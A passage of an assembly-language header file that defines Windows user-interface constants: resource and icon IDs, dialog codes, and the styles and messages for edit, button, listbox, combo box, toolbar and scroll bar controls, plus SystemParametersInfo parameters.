OBM_OLD_RGARROW EQU 32763
|
||
OBM_OLD_LFARROW EQU 32762
|
||
OBM_BTSIZE EQU 32761
|
||
OBM_CHECK EQU 32760
|
||
OBM_CHECKBOXES EQU 32759
|
||
OBM_BTNCORNERS EQU 32758
|
||
OBM_OLD_REDUCE EQU 32757
|
||
OBM_OLD_ZOOM EQU 32756
|
||
OBM_OLD_RESTORE EQU 32755
|
||
|
||
OCR_NORMAL EQU 32512
|
||
OCR_IBEAM EQU 32513
|
||
OCR_WAIT EQU 32514
|
||
OCR_CROSS EQU 32515
|
||
OCR_UP EQU 32516
|
||
OCR_SIZE EQU 32640 ; OBSOLETE: use OCR_SIZEALL
|
||
OCR_ICON EQU 32641 ; OBSOLETE: use OCR_NORMAL
|
||
OCR_SIZENWSE EQU 32642
|
||
OCR_SIZENESW EQU 32643
|
||
OCR_SIZEWE EQU 32644
|
||
OCR_SIZENS EQU 32645
|
||
OCR_SIZEALL EQU 32646
|
||
OCR_ICOCUR EQU 32647 ; OBSOLETE: use OIC_WINLOGO
|
||
OCR_NO EQU 32648
|
||
OCR_HAND EQU 32649
|
||
OCR_APPSTARTING EQU 32650
|
||
OIC_SAMPLE EQU 32512
|
||
OIC_HAND EQU 32513
|
||
OIC_QUES EQU 32514
|
||
OIC_BANG EQU 32515
|
||
OIC_NOTE EQU 32516
|
||
OIC_WINLOGO EQU 32517
|
||
OIC_WARNING EQU OIC_BANG
|
||
OIC_ERROR EQU OIC_HAND
|
||
OIC_INFORMATION EQU OIC_NOTE
|
||
|
||
ORD_LANGDRIVER EQU 1 ; The ordinal number for the entry point of
|
||
|
||
; Standard Icon IDs
|
||
|
||
IDI_APPLICATION EQU 32512
|
||
IDI_HAND EQU 32513
|
||
IDI_QUESTION EQU 32514
|
||
IDI_EXCLAMATION EQU 32515
|
||
IDI_ASTERISK EQU 32516
|
||
IDI_WINLOGO EQU 32517
|
||
IDI_WARNING EQU IDI_EXCLAMATION
|
||
IDI_ERROR EQU IDI_HAND
|
||
IDI_INFORMATION EQU IDI_ASTERISK
|
||
|
||
; Dialog Box Command IDs
|
||
|
||
IDOK EQU 1
|
||
IDCANCEL EQU 2
|
||
IDABORT EQU 3
|
||
IDRETRY EQU 4
|
||
IDIGNORE EQU 5
|
||
IDYES EQU 6
|
||
IDNO EQU 7
|
||
IDCLOSE EQU 8
|
||
IDHELP EQU 9
|
||
|
||
; Edit Control Styles
|
||
|
||
ES_LEFT EQU 0000h
|
||
ES_CENTER EQU 0001h
|
||
ES_RIGHT EQU 0002h
|
||
ES_MULTILINE EQU 0004h
|
||
ES_UPPERCASE EQU 0008h
|
||
ES_LOWERCASE EQU 0010h
|
||
ES_PASSWORD EQU 0020h
|
||
ES_AUTOVSCROLL EQU 0040h
|
||
ES_AUTOHSCROLL EQU 0080h
|
||
ES_NOHIDESEL EQU 0100h
|
||
ES_OEMCONVERT EQU 0400h
|
||
ES_READONLY EQU 0800h
|
||
ES_WANTRETURN EQU 1000h
|
||
ES_NUMBER EQU 2000h
|
||
|
||
; Edit Control Notification Codes
|
||
|
||
EN_SETFOCUS EQU 0100h
|
||
EN_KILLFOCUS EQU 0200h
|
||
EN_CHANGE EQU 0300h
|
||
EN_UPDATE EQU 0400h
|
||
EN_ERRSPACE EQU 0500h
|
||
EN_MAXTEXT EQU 0501h
|
||
EN_HSCROLL EQU 0601h
|
||
EN_VSCROLL EQU 0602h
|
||
EN_ALIGN_LTR_EC EQU 0700h
|
||
EN_ALIGN_RTL_EC EQU 0701h
|
||
EC_LEFTMARGIN EQU 0001h
|
||
EC_RIGHTMARGIN EQU 0002h
|
||
EC_USEFONTINFO EQU 0ffffh
|
||
|
||
; Edit Control Messages
|
||
|
||
EM_GETSEL EQU 00B0h
|
||
EM_SETSEL EQU 00B1h
|
||
EM_GETRECT EQU 00B2h
|
||
EM_SETRECT EQU 00B3h
|
||
EM_SETRECTNP EQU 00B4h
|
||
EM_SCROLL EQU 00B5h
|
||
EM_LINESCROLL EQU 00B6h
|
||
EM_SCROLLCARET EQU 00B7h
|
||
EM_GETMODIFY EQU 00B8h
|
||
EM_SETMODIFY EQU 00B9h
|
||
EM_GETLINECOUNT EQU 00BAh
|
||
EM_LINEINDEX EQU 00BBh
|
||
EM_SETHANDLE EQU 00BCh
|
||
EM_GETHANDLE EQU 00BDh
|
||
EM_GETTHUMB EQU 00BEh
|
||
EM_LINELENGTH EQU 00C1h
|
||
EM_REPLACESEL EQU 00C2h
|
||
EM_GETLINE EQU 00C4h
|
||
EM_LIMITTEXT EQU 00C5h
|
||
EM_CANUNDO EQU 00C6h
|
||
EM_UNDO EQU 00C7h
|
||
EM_FMTLINES EQU 00C8h
|
||
EM_LINEFROMCHAR EQU 00C9h
|
||
EM_SETTABSTOPS EQU 00CBh
|
||
EM_SETPASSWORDCHAR EQU 00CCh
|
||
EM_EMPTYUNDOBUFFER EQU 00CDh
|
||
EM_GETFIRSTVISIBLELINE EQU 00CEh
|
||
EM_SETREADONLY EQU 00CFh
|
||
EM_SETWORDBREAKPROC EQU 00D0h
|
||
EM_GETWORDBREAKPROC EQU 00D1h
|
||
EM_GETPASSWORDCHAR EQU 00D2h
|
||
EM_SETMARGINS EQU 00D3h
|
||
EM_GETMARGINS EQU 00D4h
|
||
EM_SETLIMITTEXT EQU EM_LIMITTEXT ;win40 Name change
|
||
EM_GETLIMITTEXT EQU 00D5h
|
||
EM_POSFROMCHAR EQU 00D6h
|
||
EM_CHARFROMPOS EQU 00D7h
|
||
|
||
; EDITWORDBREAKPROC code values
|
||
|
||
WB_LEFT EQU 0
|
||
WB_RIGHT EQU 1
|
||
WB_ISDELIMITER EQU 2
|
||
|
||
; Button Control Styles
|
||
|
||
BS_PUSHBUTTON EQU 00000000h
|
||
BS_DEFPUSHBUTTON EQU 00000001h
|
||
BS_CHECKBOX EQU 00000002h
|
||
BS_AUTOCHECKBOX EQU 00000003h
|
||
BS_RADIOBUTTON EQU 00000004h
|
||
BS_3STATE EQU 00000005h
|
||
BS_AUTO3STATE EQU 00000006h
|
||
BS_GROUPBOX EQU 00000007h
|
||
BS_USERBUTTON EQU 00000008h
|
||
BS_AUTORADIOBUTTON EQU 00000009h
|
||
BS_OWNERDRAW EQU 0000000Bh
|
||
BS_LEFTTEXT EQU 00000020h
|
||
BS_TEXT EQU 00000000h
|
||
BS_ICON EQU 00000040h
|
||
BS_BITMAP EQU 00000080h
|
||
BS_LEFT EQU 00000100h
|
||
BS_RIGHT EQU 00000200h
|
||
BS_CENTER EQU 00000300h
|
||
BS_TOP EQU 00000400h
|
||
BS_BOTTOM EQU 00000800h
|
||
BS_VCENTER EQU 00000C00h
|
||
BS_PUSHLIKE EQU 00001000h
|
||
BS_MULTILINE EQU 00002000h
|
||
BS_NOTIFY EQU 00004000h
|
||
BS_FLAT EQU 00008000h
|
||
BS_RIGHTBUTTON EQU BS_LEFTTEXT
|
||
|
||
; User Button Notification Codes
|
||
|
||
BN_CLICKED EQU 0
|
||
BN_PAINT EQU 1
|
||
BN_HILITE EQU 2
|
||
BN_UNHILITE EQU 3
|
||
BN_DISABLE EQU 4
|
||
BN_DOUBLECLICKED EQU 5
|
||
BN_PUSHED EQU BN_HILITE
|
||
BN_UNPUSHED EQU BN_UNHILITE
|
||
BN_DBLCLK EQU BN_DOUBLECLICKED
|
||
BN_SETFOCUS EQU 6
|
||
BN_KILLFOCUS EQU 7
|
||
|
||
; Button Control Messages
|
||
|
||
BM_GETCHECK EQU 00F0h
|
||
BM_SETCHECK EQU 00F1h
|
||
BM_GETSTATE EQU 00F2h
|
||
BM_SETSTATE EQU 00F3h
|
||
BM_SETSTYLE EQU 00F4h
|
||
BM_CLICK EQU 00F5h
|
||
BM_GETIMAGE EQU 00F6h
|
||
BM_SETIMAGE EQU 00F7h
|
||
BST_UNCHECKED EQU 0000h
|
||
BST_CHECKED EQU 0001h
|
||
BST_INDETERMINATE EQU 0002h
|
||
BST_PUSHED EQU 0004h
|
||
BST_FOCUS EQU 0008h
|
||
|
||
; Static Control Constants
|
||
|
||
SS_LEFT EQU 00000000h
|
||
SS_CENTER EQU 00000001h
|
||
SS_RIGHT EQU 00000002h
|
||
SS_ICON EQU 00000003h
|
||
SS_BLACKRECT EQU 00000004h
|
||
SS_GRAYRECT EQU 00000005h
|
||
SS_WHITERECT EQU 00000006h
|
||
SS_BLACKFRAME EQU 00000007h
|
||
SS_GRAYFRAME EQU 00000008h
|
||
SS_WHITEFRAME EQU 00000009h
|
||
SS_USERITEM EQU 0000000Ah
|
||
SS_SIMPLE EQU 0000000Bh
|
||
SS_LEFTNOWORDWRAP EQU 0000000Ch
|
||
SS_OWNERDRAW EQU 0000000Dh
|
||
SS_BITMAP EQU 0000000Eh
|
||
SS_ENHMETAFILE EQU 0000000Fh
|
||
SS_ETCHEDHORZ EQU 00000010h
|
||
SS_ETCHEDVERT EQU 00000011h
|
||
SS_ETCHEDFRAME EQU 00000012h
|
||
SS_TYPEMASK EQU 0000001Fh
|
||
SS_NOPREFIX EQU 00000080h ; Don't do "&" character translation
|
||
SS_NOTIFY EQU 00000100h
|
||
SS_CENTERIMAGE EQU 00000200h
|
||
SS_RIGHTJUST EQU 00000400h
|
||
SS_REALSIZEIMAGE EQU 00000800h
|
||
SS_SUNKEN EQU 00001000h
|
||
SS_ENDELLIPSIS EQU 00004000h
|
||
SS_PATHELLIPSIS EQU 00008000h
|
||
SS_WORDELLIPSIS EQU 0000C000h
|
||
SS_ELLIPSISMASK EQU 0000C000h
|
||
|
||
; Static Control Mesages
|
||
|
||
STM_SETICON EQU 0170h
|
||
STM_GETICON EQU 0171h
|
||
STM_SETIMAGE EQU 0172h
|
||
STM_GETIMAGE EQU 0173h
|
||
STN_CLICKED EQU 0
|
||
STN_DBLCLK EQU 1
|
||
STN_ENABLE EQU 2
|
||
STN_DISABLE EQU 3
|
||
STM_MSGMAX EQU 0174h
|
||
|
||
; DlgDirList, DlgDirListComboBox flags values
|
||
|
||
DDL_READWRITE EQU 0000h
|
||
DDL_READONLY EQU 0001h
|
||
DDL_HIDDEN EQU 0002h
|
||
DDL_SYSTEM EQU 0004h
|
||
DDL_DIRECTORY EQU 0010h
|
||
DDL_ARCHIVE EQU 0020h
|
||
DDL_POSTMSGS EQU 2000h
|
||
DDL_DRIVES EQU 4000h
|
||
DDL_EXCLUSIVE EQU 8000h
|
||
|
||
; Dialog Styles
|
||
|
||
DS_ABSALIGN EQU 01h
|
||
DS_SYSMODAL EQU 02h
|
||
DS_LOCALEDIT EQU 20h ;Edit items get Local storage.
|
||
DS_SETFONT EQU 40h ;User specified font for Dlg controls
|
||
DS_MODALFRAME EQU 80h ;Can be combined with WS_CAPTION
|
||
DS_NOIDLEMSG EQU 100h ;WM_ENTERIDLE message will not be sent
|
||
DS_SETFOREGROUND EQU 200h ;not in win3.1
|
||
DS_3DLOOK EQU 0004h
|
||
DS_FIXEDSYS EQU 0008h
|
||
DS_NOFAILCREATE EQU 0010h
|
||
DS_CONTROL EQU 0400h
|
||
DS_CENTER EQU 0800h
|
||
DS_CENTERMOUSE EQU 1000h
|
||
DS_CONTEXTHELP EQU 2000h
|
||
|
||
DM_GETDEFID EQU WM_USER+0
|
||
DM_SETDEFID EQU WM_USER+1
|
||
DM_REPOSITION EQU WM_USER+2
|
||
|
||
DC_HASDEFID EQU 534Bh
|
||
|
||
; Dialog Codes
|
||
|
||
DLGC_WANTARROWS EQU 0001h ; Control wants arrow keys
|
||
DLGC_WANTTAB EQU 0002h ; Control wants tab keys
|
||
DLGC_WANTALLKEYS EQU 0004h ; Control wants all keys
|
||
DLGC_WANTMESSAGE EQU 0004h ; Pass message to control
|
||
DLGC_HASSETSEL EQU 0008h ; Understands EM_SETSEL message
|
||
DLGC_DEFPUSHBUTTON EQU 0010h ; Default pushbutton
|
||
DLGC_UNDEFPUSHBUTTON EQU 0020h ; Non-default pushbutton
|
||
DLGC_RADIOBUTTON EQU 0040h ; Radio button
|
||
DLGC_WANTCHARS EQU 0080h ; Want WM_CHAR messages
|
||
DLGC_STATIC EQU 0100h ; Static item: don't include
|
||
DLGC_BUTTON EQU 2000h ; Button item: can be checked
|
||
|
||
; Listbox Return Values
|
||
|
||
LB_OKAY EQU 0
|
||
LB_ERR EQU -1
|
||
LB_ERRSPACE EQU -2
|
||
|
||
; Listbox Notification Codes
|
||
|
||
LBN_ERRSPACE EQU -2
|
||
LBN_SELCHANGE EQU 1
|
||
LBN_DBLCLK EQU 2
|
||
LBN_SELCANCEL EQU 3
|
||
LBN_SETFOCUS EQU 4
|
||
LBN_KILLFOCUS EQU 5
|
||
|
||
; Listbox messages
|
||
|
||
LB_ADDSTRING EQU 0180h
|
||
LB_INSERTSTRING EQU 0181h
|
||
LB_DELETESTRING EQU 0182h
|
||
LB_SELITEMRANGEEX EQU 0183h
|
||
LB_RESETCONTENT EQU 0184h
|
||
LB_SETSEL EQU 0185h
|
||
LB_SETCURSEL EQU 0186h
|
||
LB_GETSEL EQU 0187h
|
||
LB_GETCURSEL EQU 0188h
|
||
LB_GETTEXT EQU 0189h
|
||
LB_GETTEXTLEN EQU 018Ah
|
||
LB_GETCOUNT EQU 018Bh
|
||
LB_SELECTSTRING EQU 018Ch
|
||
LB_DIR EQU 018Dh
|
||
LB_GETTOPINDEX EQU 018Eh
|
||
LB_FINDSTRING EQU 018Fh
|
||
LB_GETSELCOUNT EQU 0190h
|
||
LB_GETSELITEMS EQU 0191h
|
||
LB_SETTABSTOPS EQU 0192h
|
||
LB_GETHORIZONTALEXTENT EQU 0193h
|
||
LB_SETHORIZONTALEXTENT EQU 0194h
|
||
LB_SETCOLUMNWIDTH EQU 0195h
|
||
LB_ADDFILE EQU 0196h
|
||
LB_SETTOPINDEX EQU 0197h
|
||
LB_GETITEMRECT EQU 0198h
|
||
LB_GETITEMDATA EQU 0199h
|
||
LB_SETITEMDATA EQU 019Ah
|
||
LB_SELITEMRANGE EQU 019Bh
|
||
LB_SETANCHORINDEX EQU 019Ch
|
||
LB_GETANCHORINDEX EQU 019Dh
|
||
LB_SETCARETINDEX EQU 019Eh
|
||
LB_GETCARETINDEX EQU 019Fh
|
||
LB_SETITEMHEIGHT EQU 01A0h
|
||
LB_GETITEMHEIGHT EQU 01A1h
|
||
LB_FINDSTRINGEXACT EQU 01A2h
|
||
LB_SETLOCALE EQU 01A5h
|
||
LB_GETLOCALE EQU 01A6h
|
||
LB_SETCOUNT EQU 01A7h
|
||
LB_INITSTORAGE EQU 01A8h
|
||
LB_ITEMFROMPOINT EQU 01A9h
|
||
LB_MULTIPLEADDSTRING EQU 01B1h
|
||
LB_MSGMAX EQU 01B0h
|
||
|
||
; Listbox Styles
|
||
|
||
LBS_NOTIFY EQU 0001h
|
||
LBS_SORT EQU 0002h
|
||
LBS_NOREDRAW EQU 0004h
|
||
LBS_MULTIPLESEL EQU 0008h
|
||
LBS_OWNERDRAWFIXED EQU 0010h
|
||
LBS_OWNERDRAWVARIABLE EQU 0020h
|
||
LBS_HASSTRINGS EQU 0040h
|
||
LBS_USETABSTOPS EQU 0080h
|
||
LBS_NOINTEGRALHEIGHT EQU 0100h
|
||
LBS_MULTICOLUMN EQU 0200h
|
||
LBS_WANTKEYBOARDINPUT EQU 0400h
|
||
LBS_EXTENDEDSEL EQU 0800h
|
||
LBS_DISABLENOSCROLL EQU 1000h
|
||
LBS_NODATA EQU 2000h
|
||
LBS_NOSEL EQU 4000h
|
||
LBS_STANDARD EQU (LBS_NOTIFY OR LBS_SORT OR WS_VSCROLL OR WS_BORDER)
|
||
|
||
; Combo Box return Values
|
||
|
||
CB_OKAY EQU 0
|
||
CB_ERR EQU -1
|
||
CB_ERRSPACE EQU -2
|
||
|
||
; Combo Box Notification Codes
|
||
|
||
CBN_ERRSPACE EQU -1
|
||
CBN_SELCHANGE EQU 1
|
||
CBN_DBLCLK EQU 2
|
||
CBN_SETFOCUS EQU 3
|
||
CBN_KILLFOCUS EQU 4
|
||
CBN_EDITCHANGE EQU 5
|
||
CBN_EDITUPDATE EQU 6
|
||
CBN_DROPDOWN EQU 7
|
||
CBN_CLOSEUP EQU 8
|
||
CBN_SELENDOK EQU 9
|
||
CBN_SELENDCANCEL EQU 10
|
||
|
||
; Combo Box styles
|
||
|
||
CBS_SIMPLE EQU 0001h
|
||
CBS_DROPDOWN EQU 0002h
|
||
CBS_DROPDOWNLIST EQU 0003h
|
||
CBS_OWNERDRAWFIXED EQU 0010h
|
||
CBS_OWNERDRAWVARIABLE EQU 0020h
|
||
CBS_AUTOHSCROLL EQU 0040h
|
||
CBS_OEMCONVERT EQU 0080h
|
||
CBS_SORT EQU 0100h
|
||
CBS_HASSTRINGS EQU 0200h
|
||
CBS_NOINTEGRALHEIGHT EQU 0400h
|
||
CBS_DISABLENOSCROLL EQU 0800h
|
||
CBS_UPPERCASE EQU 2000h
|
||
CBS_LOWERCASE EQU 4000h
|
||
|
||
;====== COMMON CONTROL STYLES =====
|
||
|
||
CCS_TOP = 00000001h
|
||
CCS_NOMOVEY = 00000002h
|
||
CCS_BOTTOM = 00000003h
|
||
CCS_NORESIZE = 00000004h
|
||
CCS_NOPARENTALIGN = 00000008h
|
||
CCS_ADJUSTABLE = 00000020h
|
||
CCS_NODIVIDER = 00000040h
|
||
|
||
|
||
; Combo Box messages
|
||
|
||
CB_GETEDITSEL EQU 0140h
|
||
CB_LIMITTEXT EQU 0141h
|
||
CB_SETEDITSEL EQU 0142h
|
||
CB_ADDSTRING EQU 0143h
|
||
CB_DELETESTRING EQU 0144h
|
||
CB_DIR EQU 0145h
|
||
CB_GETCOUNT EQU 0146h
|
||
CB_GETCURSEL EQU 0147h
|
||
CB_GETLBTEXT EQU 0148h
|
||
CB_GETLBTEXTLEN EQU 0149h
|
||
CB_INSERTSTRING EQU 014Ah
|
||
CB_RESETCONTENT EQU 014Bh
|
||
CB_FINDSTRING EQU 014Ch
|
||
CB_SELECTSTRING EQU 014Dh
|
||
CB_SETCURSEL EQU 014Eh
|
||
CB_SHOWDROPDOWN EQU 014Fh
|
||
CB_GETITEMDATA EQU 0150h
|
||
CB_SETITEMDATA EQU 0151h
|
||
CB_GETDROPPEDCONTROLRECT EQU 0152h
|
||
CB_SETITEMHEIGHT EQU 0153h
|
||
CB_GETITEMHEIGHT EQU 0154h
|
||
CB_SETEXTENDEDUI EQU 0155h
|
||
CB_GETEXTENDEDUI EQU 0156h
|
||
CB_GETDROPPEDSTATE EQU 0157h
|
||
CB_FINDSTRINGEXACT EQU 0158h
|
||
CB_SETLOCALE EQU 0159h
|
||
CB_GETLOCALE EQU 015Ah
|
||
CB_GETTOPINDEX EQU 015bh
|
||
CB_SETTOPINDEX EQU 015ch
|
||
CB_GETHORIZONTALEXTENT EQU 015dh
|
||
CB_SETHORIZONTALEXTENT EQU 015eh
|
||
CB_GETDROPPEDWIDTH EQU 015fh
|
||
CB_SETDROPPEDWIDTH EQU 0160h
|
||
CB_INITSTORAGE EQU 0161h
|
||
CB_MULTIPLEADDSTRING EQU 0163h
|
||
CB_MSGMAX EQU 0162h
|
||
|
||
SB_SETPARTS equ WM_USER+4
|
||
SB_SETTEXT equ WM_USER+1
|
||
|
||
TBSTATE_CHECKED = 01h
|
||
TBSTATE_PRESSED = 02h
|
||
TBSTATE_ENABLED = 04h
|
||
TBSTATE_HIDDEN = 08h
|
||
TBSTATE_INDETERMINATE = 10h
|
||
TBSTATE_WRAP = 20h
|
||
|
||
TBSTYLE_BUTTON = 00h
|
||
TBSTYLE_SEP = 01h
|
||
TBSTYLE_CHECK = 02h
|
||
TBSTYLE_GROUP = 04h
|
||
TBSTYLE_CHECKGROUP = TBSTYLE_GROUP+TBSTYLE_CHECK
|
||
|
||
TBSTYLE_TOOLTIPS = 0100h
|
||
TBSTYLE_WRAPABLE = 0200h
|
||
TBSTYLE_ALTDRAG = 0400h
|
||
|
||
TB_ENABLEBUTTON = (WM_USER + 1)
|
||
TB_CHECKBUTTON = (WM_USER + 2)
|
||
TB_PRESSBUTTON = (WM_USER + 3)
|
||
TB_HIDEBUTTON = (WM_USER + 4)
|
||
TB_INDETERMINATE = (WM_USER + 5)
|
||
TB_ISBUTTONENABLED = (WM_USER + 9)
|
||
TB_ISBUTTONCHECKED = (WM_USER + 10)
|
||
TB_ISBUTTONPRESSED = (WM_USER + 11)
|
||
TB_ISBUTTONHIDDEN = (WM_USER + 12)
|
||
TB_ISBUTTONINDETERMINATE = (WM_USER + 13)
|
||
TB_SETSTATE = (WM_USER + 17)
|
||
TB_GETSTATE = (WM_USER + 18)
|
||
TB_ADDBITMAP = (WM_USER + 19)
|
||
TB_SAVERESTOREA = (WM_USER + 26)
|
||
TB_SAVERESTOREW = (WM_USER + 76)
|
||
TB_CUSTOMIZE = (WM_USER + 27)
|
||
TB_ADDSTRINGA = (WM_USER + 28)
|
||
TB_ADDSTRINGW = (WM_USER + 77)
|
||
TB_GETITEMRECT = (WM_USER + 29)
|
||
TB_BUTTONSTRUCTSIZE = (WM_USER + 30)
|
||
TB_SETBUTTONSIZE = (WM_USER + 31)
|
||
TB_SETBITMAPSIZE = (WM_USER + 32)
|
||
TB_AUTOSIZE = (WM_USER + 33)
|
||
TB_GETTOOLTIPS = (WM_USER + 35)
|
||
TB_SETTOOLTIPS = (WM_USER + 36)
|
||
TB_SETPARENT = (WM_USER + 37)
|
||
TB_SETROWS = (WM_USER + 39)
|
||
TB_GETROWS = (WM_USER + 40)
|
||
TB_SETCMDID = (WM_USER + 42)
|
||
TB_CHANGEBITMAP = (WM_USER + 43)
|
||
TB_GETBITMAP = (WM_USER + 44)
|
||
TB_GETBUTTONTEXTA = (WM_USER + 45)
|
||
TB_GETBUTTONTEXTW = (WM_USER + 75)
|
||
TB_REPLACEBITMAP = (WM_USER + 46)
|
||
|
||
; Scroll Bar Styles
|
||
|
||
SBS_HORZ EQU 0000h
|
||
SBS_VERT EQU 0001h
|
||
SBS_TOPALIGN EQU 0002h
|
||
SBS_LEFTALIGN EQU 0002h
|
||
SBS_BOTTOMALIGN EQU 0004h
|
||
SBS_RIGHTALIGN EQU 0004h
|
||
SBS_SIZEBOXTOPLEFTALIGN EQU 0002h
|
||
SBS_SIZEBOXBOTTOMRIGHTALIGN EQU 0004h
|
||
SBS_SIZEBOX EQU 0008h
|
||
SBS_SIZEGRIP EQU 0010h
|
||
|
||
; Scroll bar messages
|
||
|
||
SBM_SETPOS EQU 00E0h
|
||
SBM_GETPOS EQU 00E1h
|
||
SBM_SETRANGE EQU 00E2h
|
||
SBM_SETRANGEREDRAW EQU 00E6h
|
||
SBM_GETRANGE EQU 00E3h
|
||
SBM_ENABLE_ARROWS EQU 00E4h
|
||
SBM_SETSCROLLINFO EQU 00E9h
|
||
SBM_GETSCROLLINFO EQU 00EAh
|
||
|
||
SIF_RANGE EQU 0001h
|
||
SIF_PAGE EQU 0002h
|
||
SIF_POS EQU 0004h
|
||
SIF_DISABLENOSCROLL EQU 0008h
|
||
SIF_TRACKPOS EQU 0010h
|
||
SIF_ALL EQU (SIF_RANGE OR SIF_PAGE OR SIF_POS OR SIF_TRACKPOS)
|
||
|
||
; Parameter for SystemParametersInfo()
|
||
|
||
SPI_GETBEEP EQU 1
|
||
SPI_SETBEEP EQU 2
|
||
SPI_GETMOUSE EQU 3
|
||
SPI_SETMOUSE EQU 4
|
||
SPI_GETBORDER EQU 5
|
||
SPI_SETBORDER EQU 6
|
||
SPI_GETKEYBOARDSPEED EQU 10
|
||
SPI_SETKEYBOARDSPEED EQU 11
|
||
SPI_LANGDRIVER EQU 12
|
||
SPI_ICONHORIZONTALSPACING EQU 13
|
||
SPI_GETSCREENSAVETIMEOUT EQU 14
|
||
SPI_SETSCREENSAVETIMEOUT EQU 15
|
||
SPI_GETSCREENSAVEACTIVE EQU 16
|
||
SPI_SETSCREENSAVEACTIVE EQU 17
|
||
SPI_GETGRIDGRANULARITY EQU 18
|
||
SPI_SETGRIDGRANULARITY EQU 19
|
||
SPI_SETDESKWALLPAPER EQU 20
|
||
SPI_SETDESKPATTERN EQU 21
|
||
SPI_GETKEYBOARDDELAY EQU 22
|
||
SPI_SETKEYBOARDDELAY EQU 23
|
||
SPI_ICONVERTICALSPACING EQU 24
|
||
SPI_GETICONTITLEWRAP EQU 25
|
||
SPI_SETICONTITLEWRAP EQU 26
|
||
SPI_GETMENUDROPALIGNMENT EQU 27
|
||
SPI_SETMENUDROPALIGNMENT EQU 28
|
||
SPI_SETDOUBLECLKWIDTH EQU 29
|
||
SPI_SETDOUBLECLKHEIGHT EQU 30
|
||
SPI_GETICONTITLELOGFONT EQU 31
|
||
SPI_SETDOUBLECLICKTIME EQU 32
|
||
SPI_SETMOUSEBUTTONSWAP EQU 33
|
||
SPI_SETICONTITLELOGFONT EQU 34
|
||
SPI_GETFASTTASKSWITCH EQU 35
|
||
SPI_SETFASTTASKSWITCH EQU 36
|
||
SPI_SETDRAGFULLWINDOWS EQU 37
|
||
SPI_GETDRAGFULLWINDOWS EQU 38
|
||
SPI_GETNONCLIENTMETRICS EQU 41
|
||
SPI_SETNONCLIENTMETRICS EQU 42
|
||
SPI_GETMINIMIZEDMETRICS EQU 43
|
||
SPI_SETMINIMIZEDMETRICS EQU 44
|
||
SPI_GETICONMETRICS EQU 45
|
||
SPI_SETICONMETRICS EQU 46
|
||
SPI_SETWORKAREA EQU 47
|
||
SPI_GETWORKAREA EQU 48
|
||
SPI_SETPENWINDOWS EQU 49
|
||
SPI_GETHIGHCONTRAST EQU 66
|
||
SPI_SETHIGHCONTRAST EQU 67
|
||
SPI_GETKEYBOARDPREF EQU 68
|
||
SPI_SETKEYBOARDPREF EQU 69
|
||
SPI_GETSCREENREADER EQU 70
|
||
SPI_SETSCREENREADER EQU 71
|
||
SPI_GETANIMATION EQU 72
|
||
SPI_SETANIMATION EQU 73
|
||
SPI_GETFONTSMOOTHING EQU 74
|
||
SPI_SETFONTSMOOTHING EQU 75
|
||
SPI_SETDRAGWIDTH EQU 76
|
||
SPI_SETDRAGHEIGHT EQU 77
|
||
SPI_SETHANDHELD EQU 78
|
||
SPI_GETLOWPOWERTIMEOUT EQU 79
|
||
SPI_GETPOWEROFFTIMEOUT EQU 80
|
||
SPI_SETLOWPOWERTIMEOUT EQU 81
|
||
SPI_SETPOWEROFFTIMEOUT EQU 82
|
||
SPI_GETLOWPOWERACTIVE EQU 83
|
||
SPI_GETPOWEROFFACTIVE EQU 84
|
||
SPI_SETLOWPOWERACTIVE EQU 85
|
||
SPI_SETPOWEROFFACTIVE EQU 86
|
||
SPI_SETCURSORS EQU 87
|
||
SPI_SETICONS EQU 88
|
||
SPI_GETDEFAULTINPUTLANG EQU 89
|
||
SPI_SETDEFAULTINPUTLANG EQU 90
|
||
SPI_SETLANGTOGGLE EQU 91
|
||
SPI_GETWINDOWSEXTENSION EQU 92
|
||
SPI_SETMOUSETRAILS EQU 93
|
||
SPI_GETMOUSETRAILS EQU 94
|
||
SPI_SETSCREENSAVERRUNNING EQU 97
|
||
SPI_SCREENSAVERRUNNING EQU SPI_SETSCREENSAVERRUNNING
|
||
SPI_GETFILTERKEYS EQU 50
|
||
SPI_SETFILTERKEYS EQU 51
|
||
SPI_GETTOGGLEKEYS EQU 52
|
||
SPI_SETTOGGLEKEYS EQU 53
|
||
SPI_GETMOUSEKEYS EQU 54
|
||
SPI_SETMOUSEKEYS EQU 55
|
||
SPI_GETSHOWSOUNDS EQU 56
|
||
SPI_SETSHOWSOUNDS EQU 57
|
||
SPI_GETSTICKYKEYS EQU 58
|
||
SPI_SETSTICKYKEYS EQU 59
|
||
SPI_GETACCESSTIMEOUT EQU 60
|
||
SPI_SETACCESSTIMEOUT EQU 61
|
||
SPI_GETSERIALKEYS EQU 62
|
||
SPI_SETSERIALKEYS EQU 63
|
||
SPI_GETSOUNDSENTRY EQU 64
|
||
SPI_SETSOUNDSENTRY EQU 65
|
||
SPI_GETSNAPTODEFBUTTON EQU 95
|
||
SPI_SETSNAPTODEFBUTTON EQU 96
|
||
SPI_GETMOUSEHOVERWIDTH EQU 98
|
||
SPI_SETMOUSEHOVERWIDTH EQU 99
|
||
SPI_GETMOUSEHOVERHEIGHT EQU 100
|
||
SPI_SETMOUSEHOVERHEIGHT EQU 101
|
||
SPI_GETMOUSEHOVERTIME EQU 102
|
||
SPI_SETMOUSEHOVERTIME EQU 103
|
||
SPI_GETWHEELSCROLLLINES EQU 104
|
||
SPI_SETWHEELSCROLLLINES EQU 105
|
||
SPI_GETMENUSHOWDELAY EQU 106
|
||
SPI_SETMENUSHOWDELAY EQU 107
|
||
SPI_GETSHOWIMEUI EQU 110
|
||
SPI_SETSHOWIMEUI EQU 111
|
||
SPI_GETMOUSESPEED EQU 112
|
||
SPI_SETMOUSESPEED EQU 113
|
||
SPI_GETSCREENSAVERRUNNING EQU 114
|
||
SPI_GETACTIVEWINDOWTRACKING EQU 1000h
|
||
SPI_SETACTIVEWINDOWTRACKING EQU 1001h
|
||
SPI_GETMENUANIMATION EQU 1002h
|
||
SPI_SETMENUANIMATION EQU 1003h
|
||
SPI_GETCOMBOBOXANIMATION EQU 1004h
|
||
SPI_SETCOMBOBOXANIMATION EQU 1005h
|
||
SPI_GETLISTBOXSMOOTHSCROLLING EQU 1006h
|
||
SPI_SETLISTBOXSMOOTHSCROLLING EQU 1007h
|
||
SPI_GETGRADIENTCAPTIONS EQU 1008h
|
||
SPI_SETGRADIENTCAPTIONS EQU 1009h
|
||
SPI_GETKEYBOARDCUES EQU 100Ah
|
||
SPI_SETKEYBOARDCUES EQU 100Bh
|
||
SPI_GETMENUUNDERLINES EQU SPI_GETKEYBOARDCUES
|
||
SPI_SETMENUUNDERLINES EQU SPI_SETKEYBOARDCUES
|
||
